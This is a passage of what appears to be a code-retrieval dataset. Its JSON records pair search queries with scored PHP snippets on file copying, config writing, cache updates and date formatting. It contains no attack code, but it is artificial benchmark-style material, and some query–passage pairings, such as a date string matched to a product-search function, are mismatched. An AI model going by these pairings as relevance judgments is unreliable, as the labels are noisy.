$new_path);\n\t\t\t}\n\t\t}\n\n\t\t$this->ensureFolderExists();\n\t}", "title": "" }, { "docid": "f70b65d29f36381844b57cc40789c728", "score": "0.4445952", "text": "function update_all_users(){\n\tglobal $wp_filesystem;\n\t$users = get_users();\n\techo \"updating all users theme...\";\n\tforeach ($users as $user) {\n\t\t$filename = get_theme_root() . \"/environment-\" . $user->user_login;\n\t\tif(file_exists($filename)){\n\t\t\t$wp_filesystem->delete($filename,true);\n\t\t\twp_mkdir_p($filename);\n\t\t\tcopy_dir(get_template_directory(), $filename);\t\t\t\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0c43d5e49bbd73f3c5bc9e5845869eb7", "score": "0.44432274", "text": "protected function _updateIndexPhp() {\n $indexPhp = file_get_contents('public/index.php');\n $indexPhp = str_replace(\n self::OLD_INIT_PHP_REFERENCE,\n self::NEW_INIT_PHP_REFERENCE, $indexPhp\n );\n\n // Put BASE_PATH definition in index.php\n if (strpos($indexPhp, 'BASE_PATH') === false) {\n $indexLines = explode(\"\\n\", $indexPhp);\n $indexOfInitPhpInclude = $this->_findIndexOfInitPhpInclude($indexLines);\n array_splice($indexLines, $indexOfInitPhpInclude, 0, self::BASEPATH_DEFINITON);\n $indexPhp = implode(\"\\n\", $indexLines);\n }\n\n file_put_contents('public/index.php', $indexPhp);\n }", "title": "" }, { "docid": "2526e9ec9e564ec68e2a716083e5da0d", "score": "0.44366282", "text": "private function setupConfig(): void\n {\n $config = Yaml::parse(file_get_contents(__DIR__.'/config.yml'));\n\n $this->slim->getContainer()['config'] = $config;\n }", "title": "" }, { "docid": "74a0705da039879fdd8e0f1136924347", "score": "0.4434621", "text": "protected static function updateAppServiceProvider(): void\n {\n File::delete(app_path('Providers/AppServiceProvider.php'));\n File::copy(self::STUBSPATH.'/app/Providers/AppServiceProvider.php', app_path('Providers/AppServiceProvider.php'));\n }", "title": "" }, { "docid": "4635ca09980d4a175321578eb1c4c417", "score": "0.44323012", "text": "protected function changeThemeDir($path, $old_name, $new_name)\n {\n rename(\"$path/$old_name\", \"$path/$new_name\");\n }", "title": "" }, { "docid": "eda25f4ff91bcfaf691a5fd599a6e527", "score": "0.4429082", "text": "protected function editEnvVariables()\n {\n $this->runSSH(\"cd $this->domain;editor .env\");\n }", "title": "" }, { "docid": "b682f7b812cdf208d11b8ba8f1f25c38", "score": "0.44278896", "text": "public function handle(): void\n {\n if (! Storage::exists('settings.json')) {\n Storage::put('settings.json', '{}');\n }\n\n if (! Storage::exists('servers.json')) {\n Storage::put('servers.json', '{}');\n }\n }", "title": "" }, { "docid": "e0248054d501a50317e8115506a1be38", "score": "0.44237876", "text": "public function go()\n {\n // TODO: Implement go() method.\n $sourcePath = env('VIEW_PATH').'frontend'.DIRECTORY_SEPARATOR.env('THEME_NAME').DIRECTORY_SEPARATOR.'assets'.DIRECTORY_SEPARATOR;\n\n $destinationPath = env('ROOT_PATH').DIRECTORY_SEPARATOR.'public_html'.DIRECTORY_SEPARATOR.'assets'.DIRECTORY_SEPARATOR.env('THEME_NAME').DIRECTORY_SEPARATOR;\n\n echo 'From: '.$sourcePath.PHP_EOL;\n echo 'To: '.$destinationPath.PHP_EOL;\n $result = copy_dir($sourcePath,$destinationPath);\n echo $result ? 'Done!'.PHP_EOL : 'Failed!'.PHP_EOL;\n }", "title": "" }, { "docid": "2c79760cc361bf9ff7f7b07a84018ebe", "score": "0.44099993", "text": "public static function update()\n {\n $cacheDir = self::getCacheDir();\n\n if (! is_dir($cacheDir)) {\n return;\n }\n\n $platforms = array_slice(scandir($cacheDir), 2);\n\n foreach ($platforms as $platform) {\n $files = array_slice(scandir(\"{$cacheDir}/{$platform}\"), 2);\n foreach ($files as $file) {\n unlink(\"{$cacheDir}/{$platform}/{$file}\");\n Page::get($platform, $file);\n }\n }\n }", "title": "" }, { "docid": "4247231e65c472bd74eb34364b2a97e2", "score": "0.44054618", "text": "public function createConfigYml()\n\t{\n\t\tif(version_compare(VERSION, '4.4','<'))\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\t\t\t\n\t\t$strEnvironment = '';\n\t\t\n\t\t// current symphony environment\n\t\t#$strEnvironment = \\System::getContainer('kernel')->getParameter('kernel.environment');\n\t\t\n\t\t$strFile = 'config'.($strEnvironment ? '_'.$strEnvironment : '').'.yml';\n\t\t\n\t\t// fetch the file\n\t\t$objFile = new \\File('app/config/'.$strFile,true);\n\t\t\n\t\t$strContent = '';\n\t\tif($objFile->exists())\n\t\t{\n\t\t\t$strContent = $objFile->getContent();\n\t\t}\n\t\t\n\t\t// content parts\n\t\t$arrParts = array();\n\t\t$arrParts['contao.picker.builder::customcatalog_frontedit'] = \"\n# contao.picker.builder::customcatalog_frontedit\nservices:\n contao.picker.builder:\n class: PCT\\Contao\\Picker\\PickerBuilder\n arguments:\n - '@knp_menu.factory'\n - '@router'\n - '@request_stack'\n\";\n\n$arrParts['contao.picker.page_provider::customcatalog_frontedit'] = \"\n# contao.picker.page_provider::customcatalog_frontedit\nservices:\n contao.picker.page_provider:\n class: PCT\\Contao\\Picker\\PagePickerProvider\n\";\n\n$arrParts['contao.picker.file_provider::customcatalog_frontedit'] = \"\n# contao.picker.file_provider::customcatalog_frontedit\nservices:\n contao.picker.file_provider:\n class: PCT\\Contao\\Picker\\FilePickerProvider\n\";\n\n\t\t$blnWrite = false;\n\t\tforeach($arrParts as $ident => $strPart)\n\t\t{\n\t\t\t// part already exists\n\t\t\tif(strlen(strpos($strContent,$ident)) > 0)\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t\n\t\t\t$strContent .= $strPart;\n\t\t\t$blnWrite = true;\n\t\t}\n\t\t\n\t\t// write the config_...yml file\n\t\tif($blnWrite)\n\t\t{\n\t\t\t$objFile->write($strContent);\n\t\t\t$objFile->close();\n\t\t\t\n\t\t\t// log\n\t\t\t\\System::log('CC Frontedit: /app/config/'.$strFile.' created or updated successfully',__METHOD__,TL_CRON);\n\t\t\t\n\t\t\t// reload the page to make changes take effect\n\t\t\t\\Controller::reload();\n\t\t}\n\t}", "title": "" }, { "docid": "fef7a38c07edfde2c7a21ec0fee3a301", "score": "0.43996188", "text": "public function setTemplateDir($path);", "title": "" }, { "docid": "580892fc6bd21769ac7bed60a31b895c", "score": "0.4382364", "text": "function changeDirectory($dir) {\r\n\t\tif(!is_dir($dir)) {\r\n\t\t\tmkdir($dir, 0755, true);\r\n\t\t}\r\n\t\t$this->dir = $dir;\r\n\t}", "title": "" }, { "docid": "fe0e3bea158b09962a7afc44ef4ecffc", "score": "0.4376707", "text": "function _kashmir_get_files_to_update() {\n $files = [\n 'kashmir.info.yml',\n 'README.md',\n 'kashmir.libraries.yml',\n 'package.json',\n 'package-lock.json'\n ];\n\n return $files;\n}", "title": "" } ]
b82b42e064567757fc829cb6860c902d
/ 3rd March 2012
[ { "docid": "c463680f68dc2235934337b5297781e5", "score": "0.0", "text": "function getMultiSelectProduct($msid, $qry) {\n\t\t$res = $this->db\n\t\t\t->select('id,upc_code,title')\n\t\t\t->where_in('store_id', getStoreIdList($msid))\n\t\t\t->like('title', $qry)\n\t\t\t->order_by('title', 'asc')\n\t\t\t->limit(20);\n\n\t\t/** ADDED FOR removing &amp */\n\t\t$resultAr = array();\n\t\tforeach ($res as $result) {\n\t\t\t$resultAr[] = array(\n\t\t\t\t'id' => $result->id,\n\t\t\t\t'upc_code' => $result->upc_code,\n\t\t\t\t'title' => html_entity_decode($result->title)\n\t\t\t);\n\t\t}\n\t\treturn $resultAr;\n\t}", "title": "" } ]
[ { "docid": "4f338e788aa7987fc299842ad7cc4dfb", "score": "0.6045109", "text": "function date_day_month_year($mydate)\n\t\t{\n\t\t/*\t$day= substr($mydate,0,2);\n\t\t\t$month= substr($mydate,3,2);\n\t\t\t$year= substr($mydate,6,4);*/\n\t\t\t\n\t\t\t$year= substr($mydate,0,4);\n\t\t\t$month= substr($mydate,5,2);\n\t\t\t$day= substr($mydate,8,6);\n\t\t\t\n\t\t\t// $setdate= $year . \"-\" . $month . \"-\" . $day;\n\t\t\t$setdate= $day .\"/\". $month .\"/\". $year;\n\t\t\treturn $setdate;\n\t\t}", "title": "" }, { "docid": "098308710ec127a14be9f63bf8f305be", "score": "0.60333955", "text": "function date_month_day_year($mydate)\n\t\t{\t\n\t\t\t$year= substr($mydate,0,4);\n\t\t\t$month= substr($mydate,5,2);\n\t\t\t$day= substr($mydate,8,6);\n\t\t\t\n\t\t\t$setdate= $month .\"/\". $day .\"/\". $year;\n\t\t\treturn $setdate;\n\t\t}", "title": "" }, { "docid": "4d7cd579292ccecd7b007770d79f1369", "score": "0.59428376", "text": "function get_date($c_year,$c_month,$c_date)\r\n\t{\r\n\t //01-01-1980 TUESDAY \r\n\t\t$old_year=1980;\r\n\t\t$old_month=1;\r\n\t\t$old_date=1; \r\n\t\t$days=array(0,31,59,90,120,151,181,212,243,273,304,334,365);\r\n\t\t\r\n\t\t$year_diff=$c_year-$old_year;\r\n\t\t$day1=$days[$old_month-1]+$old_date;\r\n\t\t$day2=$days[$c_month-1]+$c_date;\r\n\t\t\r\n\t\tif($c_month>2)\r\n\t\t{\r\n\t\t\tif( check_leapYear($c_year) )\r\n\t\t\t $day2++;\r\n\t\t}\r\n for($i=$old_year;$i<$c_year;$i++)\r\n\t\t{\r\n\t\t $day2=$day2+365;\r\n\t\t if( check_leapYear($i))$day2++;\r\n\t\t}\r\n\t\t\r\n\t\t$day = $day2- $day1;\r\n\t\t\r\n\t\t$Dates = array('TUES','WED','THURS','FRI','SAT','SUN','MON');\r\n\t\t$rem = $day%7;\r\n\t\t//echo \"<br>diff = $day\";\r\n\t\t$date = $Dates[$rem];\t\t\r\n\t\t//echo \"<br>date = $date\";\r\n\t\treturn $date;\r\n\t\t\r\n\t}", "title": "" }, { "docid": "7759207c65df28b9d5134aa27b69dba6", "score": "0.593968", "text": "function crt_date()\n\t{\n\t\treturn date('d M Y');\n\t}", "title": "" }, { "docid": "64906bbe612ccb8d1cee7f7a7efe63ae", "score": "0.59281516", "text": "public function test()\n\t{\n\t\techo date( 'Ymd', strtotime( '-1 day', strtotime('01-03-2016') ) );\n\t}", "title": "" }, { "docid": "354400580741a377eb75b4e489cc6886", "score": "0.5890913", "text": "function display_onlydate_nw($org_dt,$dt_format=\"M d, Y\")\n{\n\t$dt=split(\"-\",$org_dt);\n\tprint date($dt_format, mktime(0, 0, 0, $dt[1], $dt[2], $dt[0]));\n}", "title": "" }, { "docid": "63e6e725d28e0023b716fbae024322d2", "score": "0.58897424", "text": "function p9_ex1() {\n return date(\"d/m/Y\");\n}", "title": "" }, { "docid": "e8ad0e5cf1954d156c49fe13c0e67dc0", "score": "0.5875375", "text": "function date_start_dez() {\r\n return date('10-m-Y', mktime(0, 0, 0, date('m') , 1 , date('Y')));\r\n }", "title": "" }, { "docid": "089c66cf98d10e7e9eb25a326032f851", "score": "0.5834956", "text": "function datation($publication){\r\n $mois = [\"janvier\", \"février\", \"mars\", \"avril\", \"mai\", \"juin\", \"juillet\", \"août\", \"septembre\", \"octobre\", \"novembre\", \"décembre\"];\r\n\r\n $publication = explode(\" \", $publication);\r\n $date = explode(\"-\", $publication[0]);\r\n $heure = explode(\":\", $publication[1]);\r\n $date[1] = $mois[(int)$date[1]-1];\r\n\r\n $resultat = $date[2] . ' ' . $date[1] . ' ' . $date[0] . ' à ' . $heure[0] . 'h' . $heure[1];\r\n return $resultat;\r\n }", "title": "" }, { "docid": "cd302c0ee7de0e38affc26a6e72a5904", "score": "0.5824373", "text": "function days_in_month( $month, $year ) {\r\n // calculate number of days in a month\r\n return $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);\r\n\r\n}", "title": "" }, { "docid": "31528925b1171a94ee01fab7a52128f9", "score": "0.5801227", "text": "function ChekDate($a)\r\n{\r\n\tlist ($d, $m, $y) = preg_split ('#[:/\\.-]#', str_replace(\" \",\"\",$a));\r\n\tlist($d2,$m2,$y2) = preg_split('/[-]/',strftime('%d-%m-%Y', mktime(0,0,0,$m,$d,$y)));\r\n\tif($d<1 OR $d>31) return false;\r\n\tif($m<1 OR $m>12) return false;\r\n\tif($y<10) return false;\r\n\tif($y<100) $y='20'.$y;\r\n\tif($y>2020) return false;\r\n\tif((int)$d!=(int)$d2 OR (int)$m!=(int)$m2 OR (int)$y!=(int)$y2) return false;\r\n\treturn true;\r\n}", "title": "" }, { "docid": "d8c3a01ccdcd8f15df3699c01d88d841", "score": "0.57887954", "text": "public function _getExpDate3() {\n\t\treturn $this->_expDate3;\n\t}", "title": "" }, { "docid": "8744e6d8fd192dd4e239504850d24f49", "score": "0.5769649", "text": "function days_of_year($jmonth,$jday,$jyear)\n{\n\t$year='';\n\t$month='';\n\t$year='';\n\t$result='';\n\tif ($jmonth=='01')\n\t\treturn $jday;\n\tfor ($i=1;$i<$jmonth || $i==12;$i++)\n\t{\n\t\tlist( $year, $month, $day ) = jalali_to_gregorian($jyear, $i, '1');\n\t\t$result+=lastday($month,$day,$year);\n\t}\n\treturn $result+$jday;\n}", "title": "" }, { "docid": "ff8b565322a6be36af68c3c1ef821478", "score": "0.57407737", "text": "function dateModule()\n{\n}", "title": "" }, { "docid": "f5ecdf3128e9bb759aaf67c8fbcd1d6c", "score": "0.57339346", "text": "public function startOfCentury();", "title": "" }, { "docid": "e0cfbfc156416cb7c1a1aa668e87b7fd", "score": "0.57019025", "text": "function adate($format='_j _M _YaU',$timestamp=0)\n {\n$gmonths=array(\"iaCiN\",\"YENCiN\",\"aCNO\",\"AENia\",\"aCia\",\"iaaia\",\"iaaia\",\"AUOOO\",\"OEEaEN\",\"A?EaEN\",\"aaYaEN\",\"IiOaEN\");\n$smonths=array(\"?Caaa CaECai\",\"OECO\",\"ADCN\",\"aiOCa\",\"AiCN\",\"IOiNCa\",\"EaaO\",\"AE\",\"Aiaaa\",\"EONia CaAaa\",\"EONia CaECai\",\"?Caaa CaAaa\");\n$days=array(\"CaAII\",\"CaAEaia\",\"CaEaCECA\",\"CaANEUCA\",\"CaIaiO\",\"CaIaUE\",\"CaOEE\");\n$hmonths=array(\"aINa\",\"OYN\",\"OaN NEiU CaAaa\",\"OaN NEiU CaECai\",\"IaCIi CaAaai\",\"IaCIi CaAINE\",\"NIE\",\"OUECa\",\"OaN NaOCa\",\"OaCa\",\"Da Ca?UIE\",\"Da CaIIE\");\n\nif ($timestamp==0) {$timestamp=time();}\nlist($w, $mn,$am)=explode(' ', date(\"w n a\",$timestamp));\n$j=intval($timestamp/86400);\n$j=$j+492150; //492534;\n$n = intval($j / 10631);\n$j=$j-($n*10631);\n$y = intval($j / 354.36667);\n$hy = ($n*30)+$y+1;\n$j=$j-round($y*354.36667);\n$z=$j;\n$m = intval($j/29.5);\n$hm = $m+1;\n$j=$j-round($m*29.5);\n$d = $j;\n$hd = intval($d);\n\nIf ($hd == 0) {\n$hd=($hm%2==1)? (29): (30);\n$hm = $hm - 1;\n}\n\nIf ($hm == 0 ) {\n$hm = 12;\n$hy = $hy - 1;\nif (round(($hy%30)*0.36667)>round((($hy-1)%30)*0.36667)) {\n\t$hd=30;\n\t$z=355;\n\t} else {\n\t\t$hd=29;\n\t\t$z=354;\n\t}\n}\n$L=(round(($hy%30)*0.36667)>round((($hy-1)%30)*0.36667))?(1):(0);\n$str='';\nfor ($n=0;$n<=strlen($format);$n++) {\n\t$c=substr($format,$n,1);\nswitch ($c) {\n\tcase \"l\":\n\tcase \"D\":\n\t$str.=$days[$w];\n\tbreak;\n\tcase \"F\":\n\t$str.=$smonths[($mn-1)];\n\tbreak;\n\tcase \"M\":\n\t$str.=$gmonths[($mn-1)];\n\tbreak;\n\tcase \"a\":\n\t$str.=($am=='am')? ('O'):('a');\n\tbreak;\n\tcase \"A\":\n\t$str.=($am=='AM')? ('OECI?C'):('aOCA?');\n\tbreak;\n\tcase \"_\":\n\t\t$n=$n+1;\n\t\tswitch (substr($format,$n,1)) {\n\t\t\tcase \"j\":\n\t\t\t$str.=$hd;\n\t\t\tbreak;\n\t\t\tcase \"d\":\n\t\t\t$str.=str_pad($hd,2,\"0\",STR_PAD_LEFT);\n\t\t\tbreak;\n\t\t\tcase \"z\":\n\t\t\t$str.=$z-1;\n\t\t\tbreak;\n\t\t\tcase \"F\":case \"M\":\n\t\t\t$str.=$hmonths[($hm-1)];\n\t\t\tbreak;\n\t\t\tcase \"t\":\n\t\t\t$t=($hm%2==1)? (30): (29);\n\t\t\tIf ($hm == 12 && $L==1) $t =30;\n\t\t\t$str.=$t;\n\t\t\tbreak;\n\t\t\tcase \"m\":\n\t\t\t$str.=str_pad($hm,2,\"0\",STR_PAD_LEFT);\n\t\t\tbreak;\n\t\t\tcase \"n\":\n\t\t\t$str.=$hm;\n\t\t\tbreak;\n\t\t\tcase \"y\":\n\t\t\t$str.=substr($hy,2);\n\t\t\tbreak;\n\t\t\tcase \"Y\":\n\t\t\t$str.=$hy;\n\t\t\tbreak;\n\t\t\tcase \"L\":\n\t\t\t$str.=$L;\n\t\t\tbreak;\n\t\t}\t\n\tbreak;\n\tcase '\\\\':\n\t$str.=substr($format,$n,2);\n\t$n++;\n\tbreak;\n\tdefault:\n\t$str.=$c;\n\tbreak;\n}\t\n\t\n}\nreturn date($str,$timestamp);\n}", "title": "" }, { "docid": "a8ef3666c14a0d1a88c9c285328552f9", "score": "0.56899315", "text": "function getThanksgiving($year) {\n return strtotime(\"fourth thursday\", mktime(0,0,0,11,1,$year) - 1);\n}", "title": "" }, { "docid": "f9fe782845c3aeed7c619da14c285bd1", "score": "0.5686399", "text": "function dates($date){\n$dateNormal=date(\"d M Y\", strtotime($date));\t\nreturn $dateNormal;\n}", "title": "" }, { "docid": "60ee0c957139a8578486d60e9519b87b", "score": "0.56861216", "text": "function getDate();", "title": "" }, { "docid": "982c1d5bcfff8fdd9ba5a257192a6580", "score": "0.5672419", "text": "function days_in_month($month, $year)\n{\n return $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);\n}", "title": "" }, { "docid": "464fcac1fa8bb507134fa0bb30a4d4d8", "score": "0.56625956", "text": "public function getArtmdayfrom3()\n {\n return $this->artmdayfrom3;\n }", "title": "" }, { "docid": "da340b53efc7d56fa0e864b4eac7a1b3", "score": "0.5645509", "text": "function mahara_date($date, $internaldateformat) {\r\n\tswitch ($internaldateformat) {\r\n\t\tcase 'dmy11': $maharadate = strftime('%d/%m/%Y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // dd/mm/yyyy\r\n\t\tcase 'dmy12': $maharadate = strftime('%d.%m.%Y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // dd.mm.yyyy\r\n\t\tcase 'dmy13': $maharadate = strftime('%d-%m-%Y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // dd-mm-yyyy\r\n\t\tcase 'dmy21': $maharadate = strftime('%d/%m/%y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // dd/mm/yy\r\n\t\tcase 'dmy22': $maharadate = strftime('%d.%m.%y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // dd.mm.yy\r\n\t\tcase 'dmy23': $maharadate = strftime('%d-%m-%y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // dd-mm-yy\r\n\t\tcase 'mdy11': $maharadate = strftime('%m/%d/%Y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // mm/dd/yyyy\r\n\t\tcase 'mdy12': $maharadate = strftime('%m.%d.%Y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // mm.dd.yyyy\r\n\t\tcase 'mdy13': $maharadate = strftime('%m-%d-%Y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // mm-dd-yyyy\r\n\t\tcase 'mdy21': $maharadate = strftime('%m/%d/%y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // mm/dd/yy\r\n\t\tcase 'mdy22': $maharadate = strftime('%m.%d.%y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // mm.dd.yy\r\n\t\tcase 'mdy23': $maharadate = strftime('%m-%d-%y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // mm-dd-yy\r\n\t\tcase 'ymd11': $maharadate = strftime('%Y/%m/%d', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // yyyy/mm/dd\r\n\t\tcase 'ymd12': $maharadate = strftime('%Y.%m.%d', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // yyyy.mm.dd\r\n\t\tcase 'ymd13': $maharadate = strftime('%Y-%m-%d', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // yyyy-mm-dd\r\n\t\tcase 'ymd21': $maharadate = strftime('%y/%m/%d', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // yy/mm/dd\r\n\t\tcase 'ymd22': $maharadate = strftime('%y.%m.%d', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // yy.mm.dd\r\n\t\tcase 'ymd23': $maharadate = strftime('%y-%m-%d', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // yy-mm-dd\r\n\t\tcase 'yonly': $maharadate = strftime('%Y', mktime(0, 0, 0, $date['month'], $date['day'], $date['year'])); break; // yyyy\r\n\t}\r\n\t// return mahara choosen style formatted date\r\n\treturn $maharadate;\r\n}", "title": "" }, { "docid": "a806783c1f9f41f27445fcdc9a2be7c3", "score": "0.5623207", "text": "function display_date($org_dt,$dt_format=\"d F Y\")\n{\n\t$tdate=split(\" \",$org_dt);\n\t$dt=split(\"-\",$tdate[0]);\n\t$dt1=split(\":\",$tdate[1]);\n\tprint date($dt_format, mktime($dt1[0], $dt1[1], $dt1[2], $dt[1], $dt[2], $dt[0]));\n}", "title": "" }, { "docid": "6ecf2faaf552c019a2fd4f93ce36f05c", "score": "0.561956", "text": "function DateToPage($date,$format=\"Y-m-d\")\r\n{\r\n\tif ( $format==\"Y-m-d\" && $date!=\"\") {\r\n\t\tlist($year,$month,$day) = explode( \"-\", $date);\r\n\t\treturn $month.\"/\".$day.\"/\".$year;\r\n\t}\r\n\t\tif ( $format==\"Y-d-m\" && $date!=\"\") {\r\n\t\t\tlist($year,$day,$month) = explode( \"-\", $date);\r\n\t\t\treturn $month.\"/\".$day.\"/\".$year;\r\n\t\t}\r\n\treturn $date;\r\n}", "title": "" }, { "docid": "8c63186c471f67c6cfb460e15c107d6e", "score": "0.5618302", "text": "function listameses(){\n\t$a=gregoriantojd(1,10,2005);\n\n\tfor($c=1;$c<13;$c++){\n\t\t$mes[$c]=jdmonthname($a,0);\n\t\t$a+=32;\n\t\t}\n\treturn $mes;\n}", "title": "" }, { "docid": "758aa7c904985431074c8e82d369ab33", "score": "0.56107396", "text": "function datepart() {\r\n $whichpart = func_get_arg(0);\r\n $thedate = getdate();\r\n\r\n if($whichpart == 'month') {\r\n return strtolower($thedate[$whichpart]);\r\n } else {\r\n return $thedate[$whichpart];\r\n }\r\n}", "title": "" }, { "docid": "a2c779982807b5bb68ba62f6ac4e4299", "score": "0.5600863", "text": "function is_valid_bookdate($unixtime) {\n $n = 3;\n //echo date(\"j M Y H:i\", $unixtime);\n //echo \"<br>\";\n //echo date(\"j M Y H:i\", mktime(date(\"H\"),date(\"i\"),date(\"s\"),date(\"n\")-$n,date(\"j\"),date(\"Y\")));\n if ($unixtime - mktime(date(\"H\"), date(\"i\"), date(\"s\"), date(\"n\") - $n, date(\"j\"), date(\"Y\")) < 0) {\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "bd7f5895aa2b084c66c733b51204dd9c", "score": "0.5600587", "text": "function getYear()\n {\n }", "title": "" }, { "docid": "c9d2dc65b9ce2f9ffcee9f173a88a02d", "score": "0.5583451", "text": "function display_onlydate($org_dt,$dt_format=\"d F Y\")\n{\n\t$dt=split(\"-\",$org_dt);\n\tprint date($dt_format, mktime(0, 0, 0, $dt[1], $dt[2], $dt[0]));\n}", "title": "" }, { "docid": "c2ad6bfcbd9ea3b81cac77121be6f2db", "score": "0.55791324", "text": "function wpmem_exp_date( $exp_num, $exp_per, $exp_from = '' )\n{\t\n\t$exp_from = ( $exp_from == '' ) ? date( \"d/m/Y\" ) : $exp_from;\n\t$wpmem_exp = strtotime( date( \"d/m/Y\", strtotime( $exp_from ) ) . \" + $exp_num $exp_per\" );\n\t$wpmem_exp = date( \"d/m/Y\", $wpmem_exp );\n\t\n\treturn $wpmem_exp;\n}", "title": "" }, { "docid": "a529bf0350934e95bfafd207b314399c", "score": "0.5578333", "text": "public function emploi() {\r\n $dateEmb = str_replace(\"/\", \"-\", $this->dateEmb);\r\n $today = date(\"d-m-Y\");\r\n $cal = strtotime($today) - strtotime($dateEmb);\r\n $duree = intval($cal/(60*60*24*365.25));\r\n return $duree;\r\n}", "title": "" }, { "docid": "3ccfc4dae371bf31dc8dd62a373e9f55", "score": "0.5570246", "text": "function qa_start_date(){\n /* Need to have:\n\tDate.UTC(2009, 9, 6, 0, 0, 0)\n\n\t*/\n $ret = \"\";\n\t$arr = array();\n\t$postdates = qa_db_query_sub(\"select DATE(created) as cdate, count(postid) as lkm from qa_posts group by DATE(created) ORDER BY created;\") or die(mysql_error());\n\twhile ($row = qa_db_read_one_assoc($postdates, true)):\n\t\t$arr[$row['cdate']] = $row['lkm'];\n\tendwhile;\n\t$first_key = key($arr);\n\t$pieces = explode(\"-\", $first_key);\n \t$mon = $pieces[1]-1; // need to start -1 months for some reason, don't know why but works...\n\t$ret = $pieces[0].\",\".$mon.\",\".$pieces[2].\",0,0,0\";\n\t\n\treturn $ret;\n\t\n }", "title": "" }, { "docid": "1dcc8ea1bdf0842c3a25cc5b5a6b7813", "score": "0.55619067", "text": "function delais($depot, $delai) { //alert(\"depot : \".$depot.\" - delai : \".$delai);\r\n\tlist($j1, $m1, $a1) = explode(\"/\", $depot);\t\t$date_depot = mktime(0,0,0,$m1, $j1, (2000 + $a1)); \r\n\t$delai = date_parse($delai); $date_delai = mktime(0,0,0,$delai['month'], $delai['day'], $delai['year']); \r\n//\tlist($a2, $m2, $j2) = explode(\"-\", $delai);\t\t$date_delai = mktime(0,0,0,$m2, $j2, $a2); \r\n\tif($date_depot <= $date_delai){ return true;} else { return false;}\r\n}", "title": "" }, { "docid": "3fe6806060ca9139c2a43aae01ae7358", "score": "0.5561604", "text": "function parseDate($value)\n{\n $day = round($value / 10000);\n $month = round($value / 100) % 100;\n $year = $value % 100;\n echo 'day='.$day.' month='.$month.' year='.$year.'<br>';\n /*if ($month % 2 != 0 && $month != 2)\n {\n if (validDay($day) && validMonth($month) && validYear($year))\n {\n if ($year >= 30)\n {\n echo $day.'.'.$month.'.19'.$year.'<br>';\n }\n elseif ($year < 30)\n {\n echo $day.'.'.$month.'.20'.$year.'<br>';\n }\n }\n }\n elseif ($month % 2 == 0)\n {\n if ($month == 2)\n {\n if (validDay28($day) && validMonth($month) && validYear($year))\n {\n if ($year >= 30)\n {\n echo $day.'.'.$month.'.19'.$year.'<br>';\n }\n elseif ($year < 30)\n {\n echo $day.'.'.$month.'.20'.$year.'<br>';\n }\n }\n else\n echo 'Incorrect date. <br>';\n }\n elseif ($month != 2)\n {\n if (validDay30($day) && validMonth($month) && validYear($year))\n {\n if ($year >= 30)\n {\n printf('%02d.%02d.%d <br>',$day, $month, 1900 + $year);\n }\n elseif ($year < 30)\n {\n printf('%02d.%02d.%d <br>',$day, $month, 2000 + $year);\n }\n }\n }*/\n if (validDate($day, $month)) {\n /*if ($year >= 30)\n printf('%02d.%02d.%d <br>',$day, $month, 1900 + $year);\n else\n printf('%02d.%02d.%d <br>',$day, $month, 2000 + $year);*/\n printf('%02d.%02d.%d <br>', $day, $month, $year >= 30 ? 1900 + $year : 2000 + $year);\n } else {\n echo 'Incorrect date. <br>';\n }\n}", "title": "" }, { "docid": "7f405b02cf3900660174799756a03f8a", "score": "0.55600977", "text": "function locker_expires()\n{\n\t// Not garenteed correct!\n\n\t// Determine the month that starts the next term\n\t$start = ( ceil( date(\"m\") / 4 ) % 3 ) * 4 + 1;\n\n\t// If January, increment year\n\t$expires = mktime( 0, 0, 0, $start, 1, date(\"Y\") + ($start == 1) );\n\n\t// If September, first week is frosh week\n\tif( $start == 9 )\n\t\t$expires = strtotime( \"next Monday\", $expires );\n\n\t// Determine the end of the first week of school\n\t$expires = strtotime( \"next Monday\", $expires ) + 378000;\n\n\treturn $expires;\n}", "title": "" }, { "docid": "7cb3df3ceb09dbb9639e51dab738d095", "score": "0.5559756", "text": "function akvs_format_mj( $datum )\n{\n\treturn date_i18n( 'F Y', strtotime( $datum ) );\n}", "title": "" }, { "docid": "d708ec7c5459b8521d296bd64cb10946", "score": "0.5552686", "text": "function tb($a){\n global $basets, $ats;\n $d1993 = ($a - $basets) + $ats;\n return date(\"M d\", $a) .\"/\". date(\"M d\", $d1993);\n //return '';\n}", "title": "" }, { "docid": "df73151ea9d7aab2e2d3a64ffe79ec55", "score": "0.55517715", "text": "function getMonthDays() {\n\t\t$days = array(); \n\t\t$start_day = 1;\n\t\n\t\t$end_day = 31;\n\t\tfor($i = $start_day; $i <= $end_day; $i++) {\n\t\t\t$days[$i] = $i; \n\t\t}\t\t\n\t\t//return the years in descending order from 2009 down to the start year and true to maintain the array keys\n\t\treturn $days;\n\t}", "title": "" }, { "docid": "7b316d6ee5c7c148ef8df29c75e41263", "score": "0.55429095", "text": "abstract protected function extractReleaseDate() : self;", "title": "" }, { "docid": "b664a5f8148a0beaebf6cd3e968736e5", "score": "0.5534021", 